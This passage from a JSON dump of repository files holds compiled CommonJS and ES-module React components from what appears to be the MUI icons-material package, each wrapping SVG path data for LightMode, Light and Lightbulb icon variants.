    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5M2 13h2c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1s.45 1 1 1m18 0h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M11 2v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1s-1 .45-1 1m0 18v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1M5.99 4.58c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0s.39-1.03 0-1.41zm12.37 12.37c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0 .39-.39.39-1.03 0-1.41zm1.06-10.96c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0zM7.05 18.36c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0z\"\n}), 'LightModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightModeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m-1-6v4h2V1zm0 18v4h2v-4zm12-8h-4v2h4zM5 11H1v2h4zm11.24 6.66 2.47 2.47 1.41-1.41-2.47-2.47zM3.87 5.28l2.47 2.47 1.41-1.41-2.47-2.47zm2.47 10.96-2.47 2.47 1.41 1.41 2.47-2.47zM18.72 3.87l-2.47 2.47 1.41 1.41 2.47-2.47z\"\n}), 'LightModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightModeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m-1-6v4h2V1zm0 18v4h2v-4zm12-8h-4v2h4zM5 11H1v2h4zm11.24 6.66 2.47 2.47 1.41-1.41-2.47-2.47zM3.87 5.28l2.47 2.47 1.41-1.41-2.47-2.47zm2.47 10.96-2.47 2.47 1.41 1.41 2.47-2.47zM18.72 3.87l-2.47 2.47 1.41 1.41 2.47-2.47z\"\n}), 'LightModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightModeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m0-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5M2 13h2c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1s.45 1 1 1m18 0h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M11 2v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1s-1 .45-1 1m0 18v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1M5.99 4.58c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0s.39-1.03 0-1.41zm12.37 12.37c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0 .39-.39.39-1.03 0-1.41zm1.06-10.96c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0zM7.05 18.36c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0z\"\n}, \"1\")], 'LightModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightModeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m0-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5M2 13h2c.55 0 1-.45 1-1s-.45-1-1-1H2c-.55 0-1 .45-1 1s.45 1 1 1m18 0h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M11 2v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1s-1 .45-1 1m0 18v2c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1s-1 .45-1 1M5.99 4.58c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0s.39-1.03 0-1.41zm12.37 12.37c-.39-.39-1.03-.39-1.41 0-.39.39-.39 1.03 0 1.41l1.06 1.06c.39.39 1.03.39 1.41 0 .39-.39.39-1.03 0-1.41zm1.06-10.96c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0zM7.05 18.36c.39-.39.39-1.03 0-1.41-.39-.39-1.03-.39-1.41 0l-1.06 1.06c-.39.39-.39 1.03 0 1.41s1.03.39 1.41 0z\"\n}, \"1\")], 'LightModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 6.06V3h-2v3.06c-4.5.5-8 4.31-8 8.93C3 16.1 3.9 17 5.01 17H8c0 2.21 1.79 4 4 4s4-1.79 4-4h2.99c1.11 0 2.01-.9 2.01-2.01 0-4.62-3.5-8.43-8-8.93M12 19c-1.1 0-2-.9-2-2h4c0 1.1-.9 2-2 2m0-4H5c0-3.86 3.14-7 7-7s7 3.14 7 7z\"\n}), 'LightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 6.06V3h-2v3.06c-4.5.5-8 4.31-8 8.93C3 16.1 3.9 17 5.01 17H8c0 2.21 1.79 4 4 4s4-1.79 4-4h2.99c1.11 0 2.01-.9 2.01-2.01 0-4.62-3.5-8.43-8-8.93M12 19c-1.1 0-2-.9-2-2h4c0 1.1-.9 2-2 2m0-4H5c0-3.86 3.14-7 7-7s7 3.14 7 7z\"\n}), 'LightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 6.06V4c0-.55-.45-1-1-1s-1 .45-1 1v2.06c-4.5.5-8 4.31-8 8.93C3 16.1 3.9 17 5.01 17H8c0 2.21 1.79 4 4 4s4-1.79 4-4h2.99c1.11 0 2.01-.9 2.01-2.01 0-4.62-3.5-8.43-8-8.93M12 15H5c0-3.86 3.14-7 7-7s7 3.14 7 7z\"\n}), 'LightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 6.06V4c0-.55-.45-1-1-1s-1 .45-1 1v2.06c-4.5.5-8 4.31-8 8.93C3 16.1 3.9 17 5.01 17H8c0 2.21 1.79 4 4 4s4-1.79 4-4h2.99c1.11 0 2.01-.9 2.01-2.01 0-4.62-3.5-8.43-8-8.93M12 15H5c0-3.86 3.14-7 7-7s7 3.14 7 7z\"\n}), 'LightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 6.06V3h-2v3.06C5.87 6.63 2.03 11.51 3.22 17H8c0 2.21 1.79 4 4 4s4-1.79 4-4h4.78A9.0056 9.0056 0 0 0 13 6.06M12 15H5c0-3.86 3.14-7 7-7s7 3.14 7 7z\"\n}), 'LightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 6.06V3h-2v3.06C5.87 6.63 2.03 11.51 3.22 17H8c0 2.21 1.79 4 4 4s4-1.79 4-4h4.78A9.0056 9.0056 0 0 0 13 6.06M12 15H5c0-3.86 3.14-7 7-7s7 3.14 7 7z\"\n}), 'LightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 17c0 1.1.9 2 2 2s2-.9 2-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 6.06V3h-2v3.06c-4.5.5-8 4.31-8 8.93C3 16.1 3.9 17 5.01 17H8c0 2.21 1.79 4 4 4s4-1.79 4-4h2.99c1.11 0 2.01-.9 2.01-2.01 0-4.62-3.5-8.43-8-8.93M12 19c-1.1 0-2-.9-2-2h4c0 1.1-.9 2-2 2m0-4H5c0-3.86 3.14-7 7-7s7 3.14 7 7z\"\n}, \"1\")], 'LightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 17c0 1.1.9 2 2 2s2-.9 2-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 6.06V3h-2v3.06c-4.5.5-8 4.31-8 8.93C3 16.1 3.9 17 5.01 17H8c0 2.21 1.79 4 4 4s4-1.79 4-4h2.99c1.11 0 2.01-.9 2.01-2.01 0-4.62-3.5-8.43-8-8.93M12 19c-1.1 0-2-.9-2-2h4c0 1.1-.9 2-2 2m0-4H5c0-3.86 3.14-7 7-7s7 3.14 7 7z\"\n}, \"1\")], 'LightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Lightbulb.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 21c0 .5.4 1 1 1h4c.6 0 1-.5 1-1v-1H9zm3-19C8.1 2 5 5.1 5 9c0 2.4 1.2 4.5 3 5.7V17c0 .5.4 1 1 1h6c.6 0 1-.5 1-1v-2.3c1.8-1.3 3-3.4 3-5.7 0-3.9-3.1-7-7-7\"\n}), 'Lightbulb');"
  },
  {
    "path": "packages/mui-icons-material/lib/Lightbulb.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 21c0 .5.4 1 1 1h4c.6 0 1-.5 1-1v-1H9zm3-19C8.1 2 5 5.1 5 9c0 2.4 1.2 4.5 3 5.7V17c0 .5.4 1 1 1h6c.6 0 1-.5 1-1v-2.3c1.8-1.3 3-3.4 3-5.7 0-3.9-3.1-7-7-7\"\n}), 'Lightbulb');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 17c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m3-2.5H9V15h6zm-.03-2.5H9.03C7.8 13.09 7 11.64 7 10c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.64-.8 3.09-2.03 4\"\n}), 'LightbulbCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 17c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m3-2.5H9V15h6zm-.03-2.5H9.03C7.8 13.09 7 11.64 7 10c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.64-.8 3.09-2.03 4\"\n}), 'LightbulbCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5m-3-4h6v1.5H9zm3-10c-2.76 0-5 2.24-5 5 0 1.64.8 3.09 2.03 4h5.95c1.22-.91 2.02-2.36 2.02-4 0-2.76-2.24-5-5-5m2.43 7.5H9.57c-.68-.66-1.07-1.55-1.07-2.5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 .95-.39 1.84-1.07 2.5\"\n}, \"1\")], 'LightbulbCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5m-3-4h6v1.5H9zm3-10c-2.76 0-5 2.24-5 5 0 1.64.8 3.09 2.03 4h5.95c1.22-.91 2.02-2.36 2.02-4 0-2.76-2.24-5-5-5m2.43 7.5H9.57c-.68-.66-1.07-1.55-1.07-2.5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 .95-.39 1.84-1.07 2.5\"\n}, \"1\")], 'LightbulbCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 17c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m2.25-2.5h-4.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h4.5c.41 0 .75.34.75.75s-.34.75-.75.75m.72-2.5H9.03C7.8 13.09 7 11.64 7 10c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.64-.8 3.09-2.03 4\"\n}), 'LightbulbCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 17c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m2.25-2.5h-4.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h4.5c.41 0 .75.34.75.75s-.34.75-.75.75m.72-2.5H9.03C7.8 13.09 7 11.64 7 10c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.64-.8 3.09-2.03 4\"\n}), 'LightbulbCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 17c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m3-2.5H9V15h6zm-.03-2.5H9.03C7.8 13.09 7 11.64 7 10c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.64-.8 3.09-2.03 4\"\n}), 'LightbulbCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 17c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m3-2.5H9V15h6zm-.03-2.5H9.03C7.8 13.09 7 11.64 7 10c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.64-.8 3.09-2.03 4\"\n}), 'LightbulbCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m0 15c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m3-2.5H9V15h6zm-.03-2.5H9.03C7.8 13.09 7 11.64 7 10c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.64-.8 3.09-2.03 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5m-3-4h6v1.5H9zm3-10c-2.76 0-5 2.24-5 5 0 1.64.8 3.09 2.03 4h5.95c1.22-.91 2.02-2.36 2.02-4 0-2.76-2.24-5-5-5m2.43 7.5H9.57c-.68-.66-1.07-1.55-1.07-2.5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 .95-.39 1.84-1.07 2.5\"\n}, \"2\")], 'LightbulbCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m0 15c-.83 0-1.5-.67-1.5-1.5h3c0 .83-.67 1.5-1.5 1.5m3-2.5H9V15h6zm-.03-2.5H9.03C7.8 13.09 7 11.64 7 10c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.64-.8 3.09-2.03 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c.83 0 1.5-.67 1.5-1.5h-3c0 .83.67 1.5 1.5 1.5m-3-4h6v1.5H9zm3-10c-2.76 0-5 2.24-5 5 0 1.64.8 3.09 2.03 4h5.95c1.22-.91 2.02-2.36 2.02-4 0-2.76-2.24-5-5-5m2.43 7.5H9.57c-.68-.66-1.07-1.55-1.07-2.5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 .95-.39 1.84-1.07 2.5\"\n}, \"2\")], 'LightbulbCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7m2 11.7V16h-4v-2.3C8.48 12.63 7 11.53 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.49-1.51 3.65-3 4.7\"\n}), 'LightbulbOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7m2 11.7V16h-4v-2.3C8.48 12.63 7 11.53 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.49-1.51 3.65-3 4.7\"\n}), 'LightbulbOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/LightbulbOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7m2.85 11.1-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1\"\n}), 'LightbulbOutlineRounded');"
